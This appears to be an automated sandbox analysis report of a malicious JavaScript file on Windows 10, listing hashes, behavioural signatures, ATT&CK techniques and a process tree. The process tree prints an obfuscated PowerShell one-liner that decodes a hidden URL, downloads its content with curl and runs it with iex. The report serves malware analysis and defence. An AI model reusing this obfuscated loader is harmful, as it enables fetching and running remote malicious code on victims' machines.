3d4f73af0df675323eef56b841b033e0c23bb463cf739d516ea8254797c81489

Analysis

max time kernel
145s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:43

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General

Target

8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb.js
Size

196KB
MD5

3cca4f8f7f8b3686171c3dcccbda6f7a
SHA1

8bfb956c6e8c2825e8b0f2f3f329798b6a63a306
SHA256

8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb
SHA512

41d73fd8fb62099af9a67f760df046b7520e129e10558fd9bd1b154273fb2e944d5de65856fd21addca9414667cae5f8622b9a522db552fd91f3f7e6580e812e
SSDEEP

3072:n6R/BDhNMpsA+neBDhNopsA+nPpsA+nzBDhNTBDhNw:6R/CrtqrIry9e

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4232	2128	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1260	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1260	powershell.exe
1260	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1260	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4232 wrote to memory of 1260	4232	conhost.exe	85
PID 4232 wrote to memory of 1260	4232	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb.js
1⤵
PID:2320

C:\Windows\system32\conhost.exe
conhost --headless powershell $cskowuamvy='ur' ;new-alias printout c$($cskowuamvy)l;$aopctlku=(9123,9134,9142,9126,9128,9123,9143,9142,9147,9080,9142,9076,9123,9071,9141,9136,9137,9072,9074,9071,9137,9129,9137,9088,9140,9086,9134,9130,9135,9141,9140,9075,9074);$igzdxb=('bronx','get-cmdlet');$htsbrycfi=$aopctlku;foreach($bxjsakcgh in $htsbrycfi){$wxhlnsgveiaj=$bxjsakcgh;$masybelui=$masybelui+[char]($wxhlnsgveiaj-9025);$eijzfcxpqgnua=$masybelui; $hrjkqlfmzas=$eijzfcxpqgnua};$xvkpsreufyct[2]=$hrjkqlfmzas;$iejywqbkprovgm='rl';$gbfyao=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hrjkqlfmzas)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $cskowuamvy='ur' ;new-alias printout c$($cskowuamvy)l;$aopctlku=(9123,9134,9142,9126,9128,9123,9143,9142,9147,9080,9142,9076,9123,9071,9141,9136,9137,9072,9074,9071,9137,9129,9137,9088,9140,9086,9134,9130,9135,9141,9140,9075,9074);$igzdxb=('bronx','get-cmdlet');$htsbrycfi=$aopctlku;foreach($bxjsakcgh in $htsbrycfi){$wxhlnsgveiaj=$bxjsakcgh;$masybelui=$masybelui+[char]($wxhlnsgveiaj-9025);$eijzfcxpqgnua=$masybelui; $hrjkqlfmzas=$eijzfcxpqgnua};$xvkpsreufyct[2]=$hrjkqlfmzas;$iejywqbkprovgm='rl';$gbfyao=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hrjkqlfmzas)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tartlini.s3t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1260-0-0x00007FFFD66E3000-0x00007FFFD66E5000-memory.dmp

Filesize
8KB

Download
memory/1260-6-0x00000215D1FC0000-0x00000215D1FE2000-memory.dmp

Filesize
136KB

Download
memory/1260-11-0x00007FFFD66E0000-0x00007FFFD71A1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-12-0x00007FFFD66E0000-0x00007FFFD71A1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-13-0x00007FFFD66E0000-0x00007FFFD71A1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-14-0x00007FFFD66E0000-0x00007FFFD71A1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-15-0x00007FFFD66E3000-0x00007FFFD66E5000-memory.dmp

Filesize
8KB

Download
memory/1260-16-0x00007FFFD66E0000-0x00007FFFD71A1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-19-0x00007FFFD66E0000-0x00007FFFD71A1000-memory.dmp

Filesize
10.8MB

Download